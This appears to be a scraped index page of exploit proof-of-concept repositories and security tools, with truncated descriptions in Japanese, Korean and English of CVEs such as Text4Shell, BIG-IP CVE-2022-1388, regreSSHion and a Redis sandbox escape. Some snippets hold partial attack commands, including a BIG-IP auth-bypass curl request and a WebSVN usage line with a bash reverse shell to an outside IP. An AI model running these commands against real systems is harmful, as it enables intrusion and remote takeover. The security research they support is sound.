CVE-2022-42889-RCE

CVE-2022-42889-PoC CVE-2022-42889 のリモートコード実行エクスプロイト（Text4Shell 脆弱性）の概念実証です。 サポートのために ⭐ を付けてください ❤️ この脆弱性について CVE-2022-42889 は Spring4Shell や Log4Shell に類似した新しい重大な脆弱性です。 RCE（リモートコード実行）脆弱性であり、深刻度スコアは 9.8 です。 これにより、攻撃者は攻撃対象のマシン上で任意の悪意のあるコードを実行できます。 Apache Commons Text のバージョン 1.5 から 1.9 が影響を受けます。...

FreePBX-CVE-2025-57819-CVE-2025-61678

FreePBX-CVE-2025-57819-CVE-2025-61678 CVE-2025-57819（スタッククエリSQLインジェクション）とCVE-2025-61678（FreePBX Endpoint Managerにおける認証済みファイルアップロード）を連鎖させ、リモートコード実行（RCE）を達成します。教育目的のみに使用してください。 参考文献:...

CVE-2017-5638

CVE-2017-5638 Apache Struts 2.3.5 例:...

CVE-2022-24638

EXPLOITDBに掲載: https://www.exploit-db.com/exploits/51026 このバージョンはFalse Negativeを防ぐために修正されています。 CVE-2022-24637 Open Web Analytics OWA 1.7.4 における未認証RCEのエクスプロイト。この作業は https://devel0pment.de/?p=2494 に基づいています。 免責事項: このスクリプトはシステムのセキュリティ監査を目的としています。自分のシステム、または書面による許可を得たシステムでのみ使用してください。...

Apktool

Apktool 이것은 Apktool의 저장소입니다. 웹사이트는apktool.org 저장소에 있습니다. Apktool은 타사, 클로즈드 바이너리 Android 앱을 리버스 엔지니어링하기 위한 도구입니다. 리소스를 거의 원래 형태로 디코딩하고 수정 후 재빌드할 수 있습니다. smali 코드를 단계별로 디버그할 수 있게 해줍니다. 또한 프로젝트와 유사한 파일 구조와 APK 빌드 등의 반복 작업 자동화 덕분에 앱 작업을 더 쉽게 만듭니다. Apktool은 불법 복제 및 기타 불법적인 용도 로 사용하기 위한 것이 아닙니다. 현지화, 기...

CVE-2022-1388

CVE-2022-1388 BIG-IP iControl REST の脆弱性 CVE-2022-1388 使用方法 このPOCは検証済みです！ root@kitploit: curl -i -s -k -X $'POST' \ -H $'Host: localhost' -H $'Connection: keep-alive, X-F5-Auth-Token' -H $'Authorization: Basic YWRtaW46' -H $'X-F5-Auth-Token: a' -H $'Content-Length: 39' \ --data-binary...

flawfinder

About This is "flawfinder" by David A. Wheeler. Flawfinder is a simple program that scans C/C++ source code and reports potential security flaws. It can be a useful tool for examining software for vulnerabilities, and it can also serve as a simple introduction to static source code analysis tools...

CVE-2019-6340

CVE-2019-6340 Drupal8のREST RCE、SA-CORE-2019-003 0x01 docker search CVE-2019-6340 root@kitploit: NAME DESCRIPTION STARS OFFICIAL AUTOMATED knqyf263/cve-2019-6340 Environment for CVE-2019-6340 Drupal 0 cved/cve-2019-6340 cve-2019-6340 0 0x02 docker pull knqyf263/cve-2019-6340 root@kitploit: Using...

CVE-2021-32305-websvn-2.6.0

CVE-2021-3205-websvn-2.6.0 これは、CVE-2021-3205のエクスプロイトです。search.phpパスにおけるコマンドインジェクションのWeb脆弱性であり、このエクスプロイトによりコマンドを実行できます。 必要条件 optparse, signal, requests 使用方法 root@kitploit: ❯ python3 CVE-2021-3205.py --url http://10.0.2.168/websvn/ --payload "bash -c 'bash -i & /dev/tcp/10.0.2.133/443 0&1'" ... ❯ n...

CVE-2022-22963

CVE-2022-22963 - Spring4shell 취약한 SpringBoot 애플리케이션을 실행하려면 이 Docker 컨테이너를 8080 포트에 노출시켜 실행하세요. 예: root@kitploit: docker run -it -d -p 8080:8080 bobcheat/springboot-public 익스플로잇 Curl 명령: root@kitploit: curl -i -s -k -X $'POST' -H $'Host: 192.168.1.2:8080' -H...

CVE-2024-49113

LDAP Nightmare Yuki Chen（@guhe120）氏によって報告されたCVE-2024-49113のエクスプロイトです。Windowsライトウェイトディレクトリアクセスプロトコル（LDAP）の脆弱性です。 SafeBreach Labsによって作成されました（2025年1月1日公開）。この脆弱性の完全な技術分析と、私たちがどのようにエクスプロイトに成功したかについては、ブログ記事こちらをご覧ください。 概要 CVE-2024-49113は、Microsoftによるとリモートコード実行を可能にする、Windows...

CVE-2023-46818-python-exploit

CVE-2023-46818 エクスプロイト これは、ispconfig 3.2.11 およびそれ以前のバージョンに影響する脆弱性に対する、元の PHP スクリプトの Python 版です。 オリジナルの PHP ソース: https://packetstormsecurity.com/files/176126/ISPConfig-3.2.11-PHP-Code-Injection.html この概念実証 PoC は教育目的のみを対象としています。 使用方法 root@kitploit: python exploit.py http://10.10.10.10/ adminuser...

CVE-2022-0543

CVE-2022-0543 1.はじめに Redis サンドボックスエスケープ脆弱性（CVE-2022-0543）POC&EXP 2.使用方法 root@kitploit: RedisRCE -help 查看帮助信息 RedisRCE -h 192.168.0.100:6379 无密码连接 //输入q退出程序 RedisRCE -h 192.168.0.100:6379 -p 123456 密码连接 3.免責事項 このツールは学習、研究、自己確認のみを目的としています。 不正な目的に使用しないでください。関連する法律・規制を遵守してください。...

chall.stypr.com

chall.stypr.com chall.stypr.com をプレイしていただきありがとうございます。 最初にウォーゲームをセットアップしてホストしてから9年が経ちました。 現在では多くのCTFがすでに同様のチャレンジを再利用または作成しているため、チャレンジインフラのホストに使用された全チャレンジのソースコードと設定を共有することにしました。 インフラストラクチャ web/: https://chall.stypr.com/ のソースコード challenges/: https://.eagle-jump.org/ の設定とソースコード データベース スコアボードのバックアップ...

Cooolis-ms

Cooolis-ms Wiki 설명 Cooolis-ms는 Metasploit Payload Loader, Cobalt Strike External C2 Loader, Reflective DLL injection을 포함하는 코드 실행 도구입니다. 정적 탐지에서 실행하려는 특징적인 코드를 일부 회피하여, 레드 팀 구성원이 웹 컨테이너 환경에서 C2 환경으로 더 편리하고 빠르게 전환하여 작업을 진행할 수 있도록 돕는 데 목적이 있습니다. 어떻게 다운로드하나요? Github에서 직접 저장소를 클론하여 소스 코드를 얻을 수 있습니다: g...

webpwn3r

webpwn3r このプロジェクトは長年メンテナンスされておらず、私がPythonを学び始めた頃に書いたものですが、それでも人々に好まれています :D。python2.7のみをサポートしています。 WebPwn3r - Webアプリケーション・セキュリティスキャナー。 作者: Ebrahim Hegazy - @Zigoo0 謝辞: @lnxg33k, @dia2diab @Aelhemily, @okamalo フィードバックや提案はすべて zigoo.blog'at'@gmail.com までお送りください。 使用方法: 1- python scan.py 2-...

webpwn3r

webpwn3r This project is not maintained for years, and was written when I started learning Python, but still people likes it :D. it only supports python2.7 WebPwn3r - Web Applications Security Scanner. By Ebrahim Hegazy - @Zigoo0 Thanks: @lnxg33k, @dia2diab @Aelhemily, @okamalo Please send all yo...

mkPIVM

Read the research paper written for 1.0.0. mkPIVM は、Windows x86 および x64（まもなく Linux 対応）向けの、ポリモーフィックな位置独立シェルコード仮想化ツールです。...

CVE-2020-27955

Git-lfs リモートコード実行 RCE エクスプロイト CVE-2020-27955 .bat / powershell バージョン 脆弱なアプリケーション: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken など 発見者: Dawid Golunski https://legalhackers.com https://exploitbox.io Windows 上でテスト済み: git, GitHub CLI gh, GitHub Desktop, Visu...

regreSSHion

regreSSHion エクスプロイト PoC 説明 このリポジトリには、glibcベースのLinuxシステム上のOpenSSHサーバー（sshd）における脆弱性CVE-2024-6387（regreSSHion）を標的としたエクスプロイトが含まれています。これはOpenSSHのシグナルハンドラにおける競合状態を悪用し、rootとしてのリモートコード実行につながる可能性があります。 必要条件 glibcベースのOpenSSHサーバーが動作するLinuxシステム（Ubuntu、Debianでテスト済み）。 gcc コンパイラがインストールされていること。...